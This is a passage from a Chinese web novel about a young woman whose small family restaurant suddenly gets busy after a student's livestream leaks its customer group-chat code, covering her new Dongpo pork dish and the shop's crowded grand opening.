他嚎完后，直播就关闭了。 然而还有网友留在直播间里，屏幕一片漆黑，一条弹幕滚过—— [有个秘密憋了好久，终于可以说了，刚刚主播在拍摄的时候，我看到了收银台上一闪而过的群二维码，我顺利进去了啊哈哈哈哈。] [？？？不是哥们，一闪而过你怎么扫到的？] [我在赌啊，赌他会再拍到，所以一直拿着手机在那等，没想到还真被我等到了！] [？？牛逼。] [既然你进去了，那群二维码也发出来让我们扫扫呗。] [就是就是。] [还是不了，直播间那么多人，别等会一下子把人家名额占满了，又变成了溪大学校群。] [我恨，看来只能明天去店里扫码加了。] [其实不用，等过一个小时后台自动生成直播回放就可以去找了，主播一看就还不知道呢，中午的回放也都还在哈哈哈。] [我去！学到了！] …… * 晚上，又下了场雨，明月被浮云笼了一层雾，看不见一颗星星。 庄凝冬和奶奶正坐在院子里清洗着竹笋。 地面湿漉漉，满院子春生的气息。 “奶奶，你说今天晚上店里为什么突然多了那么多人啊？”庄凝冬百思不得其解。 以往店里客人都是稀稀疏疏的，饭桌都坐不满，有时候奶奶还能坐在一角乐呵呵的看着来往的人。 但今天，饭桌都满当当的，庄凝冬怕人来人往的不小心碰到奶奶，还特意让她回楼上了。 店里所准备的食材也比之前提早卖光了。 “肯定是他们都知道丫头的手艺好，口口相传间就来了客人呗。”奶奶笑。 庄凝冬嘀咕：“那也不应该突然间多那么多啊……” “其实不用想那么多，”奶奶说，“我们只要做好自己份内的事就够了。” 庄凝冬点点头。 “人就是这么矛盾，”奶奶忽然叹了一口气：“以前店里没什么人的时候，我希望多点能来，现在人多了，我又担心你会累着了。” 不想奶奶为自己担心，庄凝冬“哎呀”了一声：“我现在身体好着呢，看到生意一天天好起来，想到很快就能带您过上好生活的时候，我就一点都不累啦。” 不是为了安慰奶奶才说的话，庄凝冬是真的觉得自己不累。 也许跟原主以前经常勤工俭学有关。 身体素质得到了锻炼。 奶奶笑了笑：“反正钱也赚不完，咱们量力而行就好了。” “嗯！”庄凝冬点点头。 晚上，庄凝冬卤好笋，搞好客厅和厨房的卫生就回了楼上。 也只有这个时候，她才有空打开手机。 一看，彻底傻眼了。 新建的那个顾客群，此刻聊的正嗨。 而原本才20几个人的群里，现在已经有400多个人了，里面的群友甚至还在不停地拉人，底下不断弹着新消息： XX邀请XX进入了群聊。 有种打死我：[好多眼熟的头像啊，在学校新生群就看到过不少。] 每天都好困：[别拉了别拉了，等会老板娘看到了肯定心一惊，没想到我们给她拉了坨大的。] 谭清莹：[？怎么回事？才上个班回来怎么多了那么多人？不会等会就把群干满了吧？] 下一秒，最后一位幸运儿入群，上面的人数从499跳至500。 谭清莹：[……] 庄凝冬也不由得震惊。 500就满人了？ 不对，她才建的群就满500个人了？ 庄凝冬想了想，跟他们友好交流着：[拉了坨大的是什么意思？] …… VS：[？？老板娘本人出来了？！] 一瞬间炸出了一堆潜水的人，他们疯狂表白着： 不想上早八：[啊啊啊老婆我爱你！] 有种打死我：[老婆我是学医的，我觉得你的脸有很大问题，建议私发张照片给我看看。] 庄凝冬看得到这句话，镜子看了下，发现并没有什么不妥，因为平时也有注意休息，脸色依旧红润。 不过她想，也许是因为她不懂，于是她忙打字问那人：[真的吗？有什么问题？] 还得搞抽象：[？？不是，原来这样就能吸引老板娘的注意力吗？] 别惹我：[老婆别信她！！她是骗人的！骗你发自拍的而已！] 等日落：[哈哈哈好可爱啊。] 看了他们的聊天回复，庄凝冬才明白原来都是开玩笑的。 不过这一声声老婆……是不是太开放了点？ 庄凝冬看得脸一红。 放在大燕朝，那可要经过正式的明媒正娶才能喊老婆的。 时代变化果然很大。 庄凝冬还是有点不太习惯，便不去理他们了。 等算完账后再拿起手机时，发现有人艾特她： 陆向安：[@庄凝冬，老板娘你好，我是溪城大学的学生，有件事必须跟你坦白一下，是这样，今天晚上到店吃饭的时候，我搞了一个小直播，因为没想搞太复杂，所以就没跟你说，不过你放心，我没拍到别人，只是……一不小心拍到了群二维码，所以就……] 所以才会突然来了那么多人。 陆向安本人也是回到宿舍才发现中午刚加的群就满人了，他左思右想觉得不对劲，又打开了自己在G站的账号后台一看，这才知道原来是他直播时不小心把二维码拍到了。 陆向安：[非常抱歉给你带来不便！] 庄凝冬：[没关系，也不是什么要紧事，没拍到别人就好。] 只不过，庄凝冬在思考着要不要多建个群。 这个群里面几乎都是大学生，而在此之前，店里的顾客都是一些打工人和中学生，平时常来的那些顾客估计都还不知道有群呢。 等明天还是再多建一个吧。 陆向安：[对了，还有一件事，直播过程中有不少朋友给我刷了礼物，除去平台抽成的百分之五十，大概有一千五左右，这些浅我就不自己拿了，晚点我琢磨琢磨抽奖系统，给大伙谋点福利，随机抽取一些幸运伙伴请他们吃庄记，大家到时候记得积极参与啊。] 123：[好好好，又该去当分母了。] …… 庄凝冬也不禁愣住，全用来花在她店里吗？ 这也太大方了，可得好好谢谢人家才行。 庄凝冬想了想，问：[你有什么特别想吃的菜吗？我可以给你做，谢谢你的帮忙/玫瑰。] 烦：[？？嫉妒使我面目全非！] 等日落：[想知道这份菜式会用作售卖吗？还是只是为了做给他们吃？] 庄凝冬决定问问他们的意见：[你们想买吗？] 谭清莹：[必须想！] 何筝：[求求了！] 庄凝冬：[嗯，那就作为新品上线售卖吧。] 众人……！！ 妈的收到：[爹！我想吃椒盐虾！你知道怎么跟老板娘说了吧？（疯狂暗示）] 庄凝冬的话一出，其他人一片羡慕嫉妒恨，更是有人反应很快地巴结起陆向安来，一人巴结其他人效仿： [爷爷！看看我！我想吃烤鸭！] …… 同宿舍的三个舍友更是无比后悔，早知道他们也出镜用人格担保了！ 不过后悔也没用了，目前最重要的是—— “爹！” “爷爷！” “祖宗！” 陆向安当听不见，在意识到他们企图来抢手机的时候，他一个转身，躲进了厕所。 关上门，彻底隔绝他们。 陆向安才拍拍胸口。 真可怕啊这群男人。 陆向安认真想了一下，可真难选，太多想吃了菜了TAT 但他还是艰难地做出了选择：[东坡肉吧。] 庄凝冬：[好，等上线那天会通知你的，以后你吃这个菜都免费/比心] 群里顿时又听取卧槽声一片，更是纷纷悔恨做这个直播的人为什么不是自己。 难道这个直播有什么不为人知的前因后果？ 庄凝冬忽然来了兴趣。 她问：[请问你弄的那个直播还在吗？我想看看。] 陆向安：[在，等会儿，我给你发。] 很快，陆向安发了个链接过来。 时长虽然不算长，但现在夜深了，庄凝冬不想熬太晚，有些部分用了倍速。 平台保存的直播回放会自动保存弹幕，将画面和弹幕结合起来看，庄凝冬才知道这个人直播的原因。 还挺感动的。 萍水相逢、素不相识却能为她家正名。 那她的谢礼应该也不算小气。 此时，视频刚好播放到陆向安镜头依次扫过菜式的画面，运镜手法都很专业，让人忍不住暂停仔细看。 一根手指点了两下屏幕，画面停止，声音消弭。 丁固狠狠嗦了一口手里的泡面，然而却发现似乎怎么也缓解不了那股饥饿。 他是一名苦逼打工人，因为经常要深夜加班，所以他养成了吃宵夜的习惯。 这不，今天他就跟往常一样泡了个泡面，他吃东西时有个习惯，喜欢边看视频边吃，于是他打开了咕咚咕咚。 咕咚咕咚的直播板块有个弹幕榜，上面都是一些主播的直播回放，根据每分钟的弹幕数，从多到少排列，实时变动。 只要在上面够五个小时，就会自动下榜。 所以平时在这个榜单也能发现一些比较有趣的小主播，丁固还挺喜欢看这个榜的。 只是他扫着扫着，忽然一顿，一个标题为《一个简单的小吃播》的直播进入视野。 吃播？！ 不怪他这么惊讶。 首先咕咚咕咚是一个主打游戏的平台，吃播在这里没什么出路。 其次，不夸张的说，能上这个榜的基本都是游戏直播，毕竟游戏比较有节目效果，能让网友多发弹幕。 一个吃播能发什么弹幕？ 除了太好吃了、好香这类的话语，丁固想不到别的。 可这也不对。 这个榜单会自动过滤掉一些相似度很高的话语，避免有人故意刷弹幕上榜。 就这样，怀揣着极其好奇的心理，他点开了这个直播。 一看，懂了，原来是有人在带节奏。 那就不奇怪了。 原本丁固都想退出去了，结果一看弹幕，还挺好笑的，便又留下了。 既然是直播回放，那就可以倍速、以及自由选择跳过一些无关紧要的画面了。 一直按着倍速的手在看到上菜的那一刻停住了。 番茄色的土豆烩饭，缩小版金山似的炒饭，一看就很火辣的抄手，汇聚成滴澄黄如冰晶的鸡油，晶莹剔透的马蹄糕。 每一样都是视觉盛宴。 极致的色彩搭配和莹润的光亮，每一帧都能恰到好处地刺激着观看者的大脑皮层。 “哇靠……这看着也太诱人了，谁顶得住啊？” 塞满面条的嘴巴开始分泌唾液，丁固吞咽下去，以往觉得香气四溢的泡面此刻却一点都不香了。 满满一口，好像都是味精的味道。 咕噜噜～ 草！ 不是在吃吗？怎么肚子还在叫？ 虽然没以前好吃了，但丁固还是三两口把泡面嗦完了，然后去茶几抽屉里掏出一袋薯片，边吃边把剩下的视频看完。 “卖相这么绝的菜，在苍蝇小馆可不常见，不，不对，在星级酒店也不常见，星级酒店可没有这么便宜量还那么大的。” “也不知道是哪里的小饭店，可真羡慕在那附近的人。” 丁固仰头，把薯片碎全部倒入嘴里，随后擦了擦。 也不知道是因为视频看完，没有了食物刺激，还是吃的东西终于起作用。 饱腹感可算上来了。 这个直播质量不错。 丁固点进了主播的主页，打算看看他的其他直播，然后他才发现…… 没签约？！ 还只有两个视频？？ 一看，其实严谨来说也就只有一个视频。 因为另一个……属于不完整探店版。 唉，可惜了。 丁固正要退出，却看见主播更新了动态—— 【奖品：价值50元一份的庄记专属券； 名额：30人； 开奖时间：3天后 关注评论即可参与抽奖，欢迎大家积极评论，机不可失时不再来！】 丁固刷新了一下，底下蓦地多了两百条评论。 好家伙，这才过去十分钟吧。 丁固想了想，也随手发了条评论，然后点了关注。 * 次日一早，天色灰白，空气是一片未醒的清新。 庄凝冬带上院子门，准备去趟菜市场。 路上，经过邻里街坊的院子。 李爷爷正在他那收尽春色的小院里打太极，身后是一片盎然的绿意和一簇簇鲜艳花团。 “李爷爷。”庄凝冬打了声招呼。 李爷爷动作未停，中气十足地“哎”了一声。 梁爷爷也正好牵着狗路过：“老李！别耍你的花拳绣腿了，跟我遛狗去。” “溜哪只狗啊？” “还有哪只？当然是旺财啊。” “哦，我还以为是姓梁——” “……” 他们还是那么爱斗嘴。 庄凝冬噗嗤一笑。 “话不投机半句多。” 梁爷爷胡子一蹬，又朝庄凝冬道：“丫头啊，你可得离他远点，别学坏了。” 庄凝冬眉眼弯弯，念在他刚吃瘪，也愿意哄着他：“好。” 到了菜市场。 庄凝冬径直去了她每天都光顾的那个猪肉摊。 这些天的红油抄手肉馅，都是用这里的猪肉做成了。 品质好，肉质新鲜紧实，性价比也高。 摊主早就认得她了。 一看见她来，就笑着问：“还是要那么对不？” “对……” 庄凝冬停顿了一下，快速在脑海中做了个决定：“不，比之前多一倍吧。” 摊主人惊了一下：“生意这么好了？可以啊小姑娘。” 庄凝冬做生意的事没瞒着他。 她笑了笑，不作答，只是补了一句：“今天再多要点五花肉。” 庄凝冬挑的都是上好的肥瘦相间的五花肉。 “好嘞。” 最后，摊主还给她多送了一点肉，笑着道：“祝你生意兴隆啊小妹妹。” “谢谢。” * 回到家，刚好遇上钟盼送鸡过来。 庄凝冬验收过后，跟她讨论着每天的要货量，让她之后可以多送点过来了。 钟盼听到后错愕了一瞬。 她知道庄记好吃，也知道它迟早有一天会被更多人知道，只是没想到这天来的这么快。 她欣喜地点头应下，打趣道：“照这个速度，那我是不是也可以扩大养殖规模了？” 庄凝冬还真就顺着她的话说：“我觉得可以。” 自己本来也就随口一说，但听到庄凝冬也赞成后，钟盼还真就认真起来了：“我会好好考虑的。” 两人分别，庄凝冬回到店里备菜。 东坡肉又名滚肉，是江南地区的名菜，最早起源于西南地区。 它的制作方法不难，主要在炖和蒸。 庄凝冬用火把五花肉表皮炙烤了一下，除去汗腺味。 蓝火焰幽幽，烧得猪皮滋啦作响，一股香喷喷的肉味也渐渐弥漫出来。 炙烤过，刮掉焦化层，表皮金灿灿的，洗过后，再加入葱姜冷水入锅焯水。 庄凝冬的刀功了得，她的目光就是一把尺子，光这样看着就能丈量出等量尺寸，手起刀落间，一块块大小一致的猪肉便切好了。 方正整齐得不行。 锅底垫上葱姜，猪皮朝下将五花肉平铺在上面，加入适量黄酒、冰糖、酱油、老抽和没过肉的水就可以了盖盖文火慢炖了。 中途还需要翻一次面。 顿足两小时，东坡肉就可以出锅了。 浓郁的肉香奔蹿而出，诱人的香气快速占据了整个厨房。 酱汁浓稠，浇至整整齐齐的东坡肉上，色泽明亮清透，犹如一块块发着光的红玛瑙。 好看得不得了。 这道东坡肉庄凝冬准备用作开业那天上新，所以今天只是简单试菜，并没有做很多。 足够她跟奶奶两个人吃就可以了。 今天中午的人果然比之前多了很多，且大多是年轻的帅哥美女。 年轻气盛，看到庄凝冬还热络地跟她打招呼。 “老板娘你真跟视频里的长得一样啊？不，真人看上去更好看。” “老板娘！所有菜品我都要一份！看直播的时候就想吃了，馋死我了。” “退一万步来讲，椰汁马蹄糕真的不能拿出来卖吗？我都还没吃过呢。” “什么味道？闻到一股很浓的肉香，好像不是菜单上的菜，老板娘你做什么好吃的了？可以拿出来卖吗？” …… 没想到这些顾客的鼻子这么灵，她的东坡肉还放在锅里，打算留着等干完活跟奶奶一起吃呢。 不过庄凝冬也没瞒着。 “是东坡肉，在试菜呢，等之后会上新的，麻烦耐心等待哦。” “！！！是群里说的东坡肉，没想到昨天刚说，今天就已经开始试菜了，那看来很快就能吃上了！激动啊啊啊！闻着就贼香，已经开始期待了！” …… 果不其然，今天跟昨天相比，食材又快了一步卖完。 看来加量是对的。 庄凝冬伸伸懒腰，喊上奶奶一起吃饭。 外头天气凉爽，阳光被一层薄云遮挡着，过滤了一点光，洒下来温和暖阳。 庄凝冬来了兴致，搬了张折叠桌在院子架起。 午饭在后院吃。 晶莹的东坡肉在自然光下显得更加剔透了，棱角平直，正得像一颗颗麻将块儿。 奶奶看见后眼睛一亮：“我们丫头真棒啊，整的这么好看，我都不舍得吃咯。” “怕什么，您有我呢，有我就等于有吃不完的漂亮肉肉。” 庄凝冬说着给奶夹了一块东坡肉。 暗色酱汁接触到雪白米粒的那一刻，干净的饭粒立刻上深色。 两根筷子夹着东坡肉，一个没注意重了力道，筷子便陷进了肉里，肉眼可见的软烂疏松。 奶奶深吸了一口气，将这块软得颤巍巍的肉送进了嘴里。 这味道！ 奶奶霎时顿住了，拿筷子的手也不知不觉松了力道。 “啪嗒”一声，掉在了地上。 庄凝冬反应过来，立马捡起，焦急关切地问：“怎么了奶奶？是不合胃口吗？” “不不不，怎么可能不合胃口呢？这可太合了！”奶奶回味着那股味道。 两小时的炖煮，让肉质足够酥软可口，一抿即化，酱汁咸香，厚而肥软的肉质在舌尖上化作了悠长的余韵，一路滑进胃里。 香得不得了。 “真的太好吃了，奶奶从来没吃过这么好吃的猪肉。” 很久以前没钱买就不说了，哪怕后来有点小钱了，也能吃得起猪肉了，但也没做得这么好吃。 庄凝冬松了口气，起身进屋换了双干净的筷子：“好吃就多吃点，奶奶有什么想吃都跟我说，我都做给您吃。” 夹起青菜放在东坡肉的碟子里滚一圈，蘸上一点稠汁，肉香和清脆和青菜香结合，鲜香解腻，又是一番新的滋味。 奶奶又夹了一块肉，像个小孩子一样贪吃：“你做什么我都喜欢吃。” “奶奶就会哄着我。” …… 午时的晨光柔和，春风荡漾，绿植摇曳，在浓稠的饭菜香中嗅一抹清淡的春意，舒适又轻松。 开业前一天。 庄凝冬请了人帮忙挂牌匾。 一些相熟的街坊邻里看见了，纷纷上前祝贺。 黄秀莲刚坐车回到家。 前些日子她大儿子和儿媳妇要出差，便让她去帮忙带了一下孩子，等他们俩工作完回来了，她也才回到溪城老家。 她掏出钥匙，正要开门，一看远处围着几个人。 那个位置，一秒都不用多想，她一看就认出是庄家所在的地方。 围着几个人是在干嘛？ 难道是上门讨债的 她看戏似的想。 正好路过一个在同一条街住了十几年的人，黄秀莲便拉着人问：“那边是怎么个事儿？” “哦，那儿啊，是庄家那丫头要开饭馆了，正挂牌呢，别说，那牌子还挺气派，像模像样的。” “开饭馆？以前她爷在那会儿不都是开的早餐店么？怎么转饭馆了？不对啊，她爷不在了，她做的东西能拿得出手么？” 黄秀莲嘴角歪了歪，神情有点不屑。 “我说你啊，也别太狭隘了，都几十岁人了，”那人想起他们两家之间的陈年往事，帮腔道：“我是还没去吃过，不过据说非常可以啊，这两天店里还挺多人的。 临走前，那人又说：“听我一句劝，放宽心态，别计较那么多了。” 黄秀莲不搭理他。 她才不信呢。 要真有那么好的手艺，不早炫出来？ 肯定是假的。 等着瞧吧，等开店那天一定没什么人。 然而次日，她看着排出门外的长队伍，一下子傻眼了。 第23章 第23章 开店前夜，庄凝冬跟之前说好的那样，在群里艾特通知了陆向安： [东坡肉明天上新哦！有空记得来品尝。] 顿时炸出了一堆人： 等日落：[终于来了！] 张磊：[老板娘明天是不是正式开业？我今天去的时候看到挂牌子了。] 庄凝冬：[是的，希望大家多多来支持！] 张磊：[新店开业店里会有什么优惠吗？] 别惹我：[同问！东坡肉能不能多准备点？好怕买不到啊。] 优惠这个，庄凝冬知道。 自古以来，商贩开门做生意都会搞些促销活动来达成让更多消费者购买的目的。 庄凝冬自然也想好了。 庄凝冬：[明天开业大酬宾，全场八折，到店消费还可以免费获得一份绿豆糕哦，不过绿豆糕数量有限，先到先得，欢迎大家来捧场！] 有种打死我：[我看到了什么？绿豆糕？！这也是新上的吗？！] 谭清莹：[除了开业期间免费送外，可以花钱买吗？] zz：[绿豆糕呜呜呜，虽然我也很想吃，但我还是想问问椰汁马蹄糕，真的不考虑上线售卖了吗？] 对于顾客的一系列疑问，庄凝冬耐着性子一一回答：[椰汁马蹄糕制作过程需要反复倒浆蒸制，工序较为繁复，目前店里又新增了别的菜式，有点忙不过来，椰汁马蹄糕就先不做啦。 至于绿豆糕，我到时候看看它的受欢迎程度吧，如果反馈较好，就上线售卖。] 这话一出，好坏参半，两者也算互相抵消了。 谭清莹作为庄记的死忠粉，已经忠诚到不管庄记要出什么她都觉得好吃的地步了。 自然要拥护虽然暂时还没见过面的绿豆糕：[好好好，我一定会给出最真挚热烈的反馈！既然买不到马蹄糕，那绿豆糕我一定买到！] 几乎都知道庄凝冬第二天正式开业，因而次日一大早，较熟的邻里街坊就纷纷前来送上祝福和礼物。 他们都借着她开店这个喜庆日子送礼，庄凝冬无法推脱，只好收下。 其中，梁爷爷一家送来了一大罐茶叶，庄凝冬打开一看，满鼻腔的茉莉芳香，是茉莉花茶！ 只是，茶叶有点太多了，不知道要喝到什么时候。 庄凝冬脑中出现一个想法，她想把它们泡给到店吃饭的客人喝。 不过，得先问过梁爷爷。 “当然可以了，送给你的就是你的了，随你怎么处置。”梁爷爷笑呵呵的，还细心地教她怎么泡茶。 “这么热闹啊？” 门口，李爷爷正捧着一个扁扁的椭圆形鱼缸和李奶奶一同走进来，里面两条小锦鲤游得不亦乐乎，一条红一条白。 梁爷爷：“你拨弄的那些臭鱼可算是派的上用场了。” 看在开业的份上，李爷爷并未和他斗嘴，朝庄凝冬说：“锦鲤招财，也寓意如鱼得水，鸿运当头，凝冬丫头啊，祝你开业大吉。” 李奶奶则在一旁跟庄凝冬细说养鱼的一些事项，偶尔说错某个点，李爷爷就会小声纠正，那模样，倒是显得是他错了。 接下来，方家送来了鲜艳的花篮和花束，说是准时到小张那买的新鲜花朵。 小张是这条街的花店店主，每天清晨都会新进一批娇艳鲜花。 还有许家送来了自己写的字画和画的丹青，内容都是大吉大利的祝福，不过被李爷爷和梁爷爷取笑了，说他自恋，竟然还送自己写的东西。 除了一些观赏性的东西，还有街坊送来了好多不同的食材…… 店里顿时一片热闹，不过想到庄凝冬还要忙，他们也没逗留太久。 离开前，他们本来还想留下来帮忙，被庄凝冬义正言辞地拒绝了。 已经收了那么多礼物，还怎么好意思让他们留下干活？ 庄凝冬在厨房里备菜，奶奶也没闲着，帮忙拆开花束插到花瓶里，给每一张桌子都放上。 那只小鱼缸则被放到了收银台一角。 一红一白自在游动，看着心情就好。 这一次，还没到正式营业的时间，就有顾客在等着了。 随着时间的推移，等待的队伍也在慢慢边长。 朝丰街向来人不多，然而现在，外头陆陆续续出现三两人群，他们目标一致，齐齐朝着庄记饭馆所在位置而去。 就跟训练有素一样。 黄秀莲看着，满脸难以置信。 这，这怎么可能？！ 哪怕是庄老爷子还在时，他们家也出现过这样的盛况。 这庄家丫头，究竟是有什么本领？ 黄秀莲越想越觉得不可能，不对劲。 她想了想，决定前去看看，一探究竟。 黄秀莲走到饭馆门口，忽略了排起的长龙，径直朝店里走去。 队伍有人看到，开口道：“阿姨，别插队哇，这么多人排着呢，麻烦你到队尾去。” 其他人也纷纷附和：“就是啊，大家都在规规矩矩地排着呢。” “到后面排队吧阿姨。” …… “……” 黄秀莲一阵无语：“我就进去看看，我不买，瞧你们紧张的。” “既然你不买，那我们就放心了。” “感谢不买之恩。” …… 这也太…… 黄秀莲心里莫名堵着一口气。 至于吗？不就普普通通的饭馆。 再一细看菜单，黄秀莲瞪大了眼睛：多……多少？怎么都这么贵？ 这些人都疯啦？这么贵还来疯抢？ 是不当家不知道柴米油盐贵吧。 黄秀莲顿时用同情的眼神去看这群排队的人：现在这些人，可会享福咯，等以后就有得受了。 离开前，黄秀莲又回头看了眼长队伍。 此时，有个跟她差不多年纪的老人路过。 他似乎也对这番盛景感到稀奇，站在门口看。 不过就一会儿，他便摇了摇头，语气带了点轻视：“小姑娘家家的这么年轻，会做菜吗？竟然还有这么多人买。” 黄秀莲听见，顿时有了种同谋的感觉，一种名为嫉妒的压抑借此发泄了出来： “就是咯，反正她别想赚到我一分钱！” * 店里客人络绎不绝，氛围较吵闹。 察觉到店里有了变化，也熟络地谈论着： “哎？桌子上的花不错啊，这台上还多了两条小金鱼，真可爱。” “朋友，这茶闻起来怎么一股茉莉花的味道，换茶叶了？” “是啊，可香了。” …… 昨天，庄凝冬新建了一个群，并把二维码打印了出来放在收款码隔壁，让他们如果有需要的可以加一下。 其中一个小哥看到后，一脸惊喜，拍了拍身旁一起来的两个人：“你们快看！那是不是新的群？太好了！终于可以弥补我错过上一个群的遗憾了。” 他们都是溪城大学的学生，直播的那天，他在忙，踩着门禁点到的宿舍，吃瓜吃晚了，群里自然也没有他的位置了。 一个宿舍四个人，就他没进去。 现在，他自然要把握住机会。 然而，他的两个好舍友阻止了他：“还是别进了，上一个已经变成溪城大学群了，你难道希望这个群也一样？” “就是，你想啊，老板娘为什么又新建了一个群，明显是因为上一个群都被学校的人霸占了，其他老顾客都没进呢，咱这次就别掺和了。” 当事人还真就被绕了进去，低头思考起来。 他的两个好舍友在这个时候对视了一眼，下一秒，动作划一地架起当事人的胳膊，把他架走了。 “哎不是，难道我不加其他溪大人就不会加了吗？！你们干嘛啊快放我下来！” 当事人终于反应过来，嚎叫道：“我算是知道了，你们两个自私鬼！你们就是不想我知道店铺的第一消息，怕我跟你们抢是不是？！” “我真服了，你们俩做个人吧！” …… 没多久，陆向安也来了。 今天必须吃东坡肉啊！ “老板娘你好，我就是前几天搞了直播的那个人。” 陆向安说着，拿出手机点到相应的屏幕，给庄凝冬看自证。 庄凝冬看过后，笑着道：“好，还需要点什么吗？不过如果你是一个人来吃的话，一份东坡肉其实就够了。” 陆向安还挺听劝的：“那就只要一份东坡肉。” “好，麻烦你稍等。” 点完单，陆向安兴奋地搓手手挑了个位置坐下等待。 才发现，桌上多了瓶插花，瓶身不大，花枝细长，一半隐在瓶子里，花开正艳，颜色粉嫩，平添了几分雅致。 就连壶子里的茶都换成了茉莉花茶。 茶叶在水中舒展，如画卷般缓缓铺开，几朵雪白的茉莉花在水中绽放，花瓣飘荡，像随风鼓动的窗帘，一起一伏间，散发出浓郁的茉莉花香。 陆向安猛吸一口，感觉鼻子都被馥郁的茉莉香堵住。 他连忙给自己倒了一杯。 茶色呈清淡的黄绿色，清澈可见底，陆向安抿了一点，入口微涩，花香浓郁，回甘无穷。 “好喝！” 春日花茶，还有艳丽的花朵，陆向安也忍不住掏出手机拍了张照。 然而等东坡肉和绿豆糕上了以后，他才觉得，自己这照片是拍早了！ 东坡肉一共九块，整齐地以3×3的方式摆放着，以红润剔透的猪皮朝上，底下铺着一层干豇豆，周围还规律地放了几块青翠的西蓝花做点缀。 鲜亮的绿，哑暗的酱色，极致的搭配。 从外观上来看，似是组成了一块更大的东坡肉。 深色酱汁从上淋下，使得色泽更诱人了，扑鼻的肉香闻起来又夹着很淡的酒香，一块块方方正正，又莹莹如果冻。 再看一旁的绿豆糕，是黄绿色的。被做成花朵的形状，绿色为花蕊，黄色为花瓣，细嗅有股绿豆的清香。 这哪里是菜？这是一件艺术品吧！ 都不舍得吃了。 陆向安把花瓶、花茶、东坡肉和绿豆糕摆好位置，又掏出手机咔咔拍了几张，发了朋友圈。 配文：[来尝尝庄记这份专门为我做的东坡肉/害羞。] 发完，陆向安放下手机，拿起了筷子。 他动作轻柔地夹起一块东坡肉，那肉质软乎得微微晃动，像倒挂在悬崖边上欲坠不坠的花枝，无端叫人心一紧。 直到一整块东坡肉完好无损地落在洁白的饭面，才叫人松了一口气。 一口唾液跟着心脏一同落下。 陆向安再也等不及了，轻而易举从中间夹断，将肉一分为二。 一张嘴，吃掉了一半。 一阵浓烈的肉香瞬间占满口腔，肉的质地酥烂，稍稍一用力，有形的一块肉就融掉了。 五花肉选得好，肥瘦相间，肥而不腻，瘦而不柴，相得益彰，香糯又不腻口。 肉化掉了，陆向安觉得自己的灵魂也跟着飘走了。 他沉醉得眯起眼睛，不知身处何处，仿佛置身满是东坡肉的世界。 一睁眼，回到现实。 他又吃了一口肉才去吃那米饭。 松软的米粒吸了东坡肉的稠汁，吃起来更香了，软软糯糯的，让人欲罢不能。 将饭粒混着东坡肉一起吃，易化的肥肉部分陷进米香里，下饭极了，只让人觉得怎么吃都吃不够。 “操！真的太好吃了！” 陆向安叹着，又猛地扒拉了一口米饭。 他喜欢吃东坡肉，因为这是他老家的名菜。 来上大学三年，也只有寒暑假回趟老家才能吃到，平时吃不到的日子里，可是想念得很。 也因为真的很想吃，他到溪城后也不是没吃过其他店的东坡肉，然而，不是在踩雷就是在踩雷的路上。 然后他就放弃了。 直到突如其来的一个机会…… 当时陆向安的脑海中弹出的第一个菜就是东坡肉，犹豫是因为他在担忧老板娘能不能还原东坡肉的美味。 纠结下，他还是选择了相信。 事实表明，老板娘并没有辜负他的信任。 甚至比他老家那边做的还要好吃得多。 真是神了！ 吃了东坡肉，他去夹了下面的干豇豆，脆脆的很爽口，西蓝花也一样，清爽解腻，很适合和东坡肉一起吃。 咬一口肥软的肉肉，再浅喝一口茉莉花茶，茶香袅袅，清新淡雅，暖暖的液体顺着喉道滑下，温润解腻。 别提有多巴适了。 就这样，不知不觉间，陆向安把一碟东坡肉吃完了。 果然如老板娘所言，一人一碟，够吃了。 他打了个饱嗝瘫坐在椅子上，揉着圆滚滚的肚子，帮助消化。 还有绿豆糕没吃，陆向安看了眼，掂量了下。 嗯，还吃得下。 便顺手拿过，边看手机边吃。 过去一阵子，刚刚发的那条朋友圈已经多了很多人点赞。 陆向安以前是学校外联部的，当初为了拉赞助加了不少校外的人。 还有很多人不知道庄记的存在： [陆少的生活我的梦想。] [哇！看着好美啊，又去了哪里吃饭哇？庄记？没听过耶，是哪里的五星级酒店呀？] 陆向安吃了一口绿豆糕，挑着回复：[不是什么星级酒店，就是一个小馆子，不过比那些大酒店好吃多了，地址在朝丰街六巷16号，新店开业大酬宾，连着三天全场八折！快来！] 糕体细腻绵密，甜而不腻，满嘴都是清甜的绿豆香，口感粉粉糯糯的，好吃得不得了。 有共友看到他这条回复，震惊地问：[是在溪城？！] 陆向安：[是的。] 朋友：[溪城竟然有小饭馆能做到这种精致度？？那我可一定要去尝尝了。] 朋友：[等会儿，价格怎么样？不会是网红类店铺当刺客的吧？] 说起这个，陆向安可要好好炫耀了。 陆向安：[价格？就拿这份东坡肉来说吧，它不用钱。] 朋友：[？？？] 成功勾起对方的好奇心。 陆向安嘚瑟地打字将来龙去脉讲了一遍：[忘了说，是只有我不用钱。] 陆向安：[是专门为我做的一道菜，特别有意义，如果你到时候去的话，一定要好好尝尝这份东坡肉。] “……” 朋友忍住了拉黑他的冲动。 看到陆向安一系列话语之后的三个舍友更是忍无可忍，谋划着等陆向安回来后一定要揍他一顿！ * 谭清莹和何筝两人下班后一如既往地来到了庄记。 到拐角那一看，才发现队伍已经排出了门口。 一瞬间，谭清莹想起自己刚发现这家宝藏小店的时候。 忽然有些感慨。 那时候店里还没什么人呢，到现在，都要排队了。 真好啊，她的宝藏店铺被更多人看见了。 谭清莹她们过去排队。 忽然听见前方有人说话：“什么？！没了？？都没了吗？” “是啊，所有菜式都卖光了，都散了吧，唉，早知道今天就不睡那么久了。” …… 谭清莹的笑容一僵。 呸，一点都不好，好个屁好！ 照这样发展，那岂不是以后只要是她上班的日子，都别想吃到庄记了？ 何筝显然也想到了这一层，她同样哭丧着脸：“莹莹……” “筝筝……” “别怕，说不定等到工作日，情况会好点，毕竟现在是周六，人多也正常，更何况咱们公司离得比较近，嗯，跟其他打工人比，咱们在地理位置上还是比较占优势的。” 何筝安慰道。 谭清莹叹了口气：“希望吧……” 等到了周一，谭清莹和何筝两人紧紧盯着时间，离下班还有十分钟的时候，她们两人咻地一下冲出了办公室。 小组长端着一杯水刚从茶水间出来，只觉得身边刮过一阵狂风，掀得他杯子的茶面都起了涟漪。 “……” 跑得可真快，下次公司团建就让你俩代表部门参赛。 * 周一的人果然比周六要少，不过还是要排个短队。 谭清莹在心里祈祷着：一定要有啊！千万别卖光！ 上天也许听到了她的祷告，排到她时确实还有，不过就剩一份了。 她要是买了，那她身后的何筝就没了。 何筝离得不远，自然也听到了只剩一份的话。 她其实对东坡肉的兴致不高：“你喜欢你就买吧，我不咋吃肥猪肉，我更想吃点别的。” 